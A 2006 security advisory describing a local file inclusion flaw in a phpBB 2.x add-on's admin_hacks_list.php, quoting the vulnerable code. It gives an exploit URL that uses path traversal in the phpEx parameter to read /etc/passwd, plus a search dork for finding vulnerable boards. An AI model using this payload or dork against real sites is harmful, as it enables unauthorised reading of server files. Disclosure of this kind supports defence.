Advisory: phpBB 2.x (admin/admin_hacks_list.php) Local Inclusion Vulnerability.

Type securityvulns
Reporter Securityvulns
Modified 2006-05-30T00:00:00


--Security Report-- Advisory: phpBB 2.x (admin/admin_hacks_list.php) Local Inclusion

Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI

Date: 27/05/06 07:37 PM

Contacts:{ ICQ: 10072 MSN/Email: Web: }

Vendor: Nivisec ( Version: 2.x and prior versions must be affected. About: Via this methods remote attacker can include arbitrary local
files to phpBB.board_config[default_lang] and phpEx variable in admin/admin_hacks_list.php did not sanitized properl before using
it.You can find vulnerable code in admin_hacks_list.php at lines 30-37 -Source in admin_hacks_list.php- 30: if( !empty($setmodules) ) 31: { 32: include($phpbb_root_path . 'language/lang_' .
$board_config['default_lang'] . '/lang_admin_hacks_list.' . $phpEx); 33: $filename = basename(FILE); 34: $module['General']['Hacks_List'] = $filename; 35: 36: return; 37: } -End of source- Level: Highly Critical

How&Example: Succesful exploitation register_globals on GET ->
http://[victim]/[phpBB]/admin/admin_hacks_list.php?setmodules=1&board_config[default_lang]=english&phpEx=[FILE] EXAMPLE ->
http://[victim]/[phpBB]/admin/admin_hacks_list.php?setmodules=1&board_config[default_lang]=english &phpEx=../../../../../../../../etc/passwd

Timeline: * 27/05/2006: Vulnerability found. * 27/05/2006: Contacted with vendor and waiting reply.


Original advisory can be found at:

Dorks: "Powered by phpBB" inurl:hacks_list.php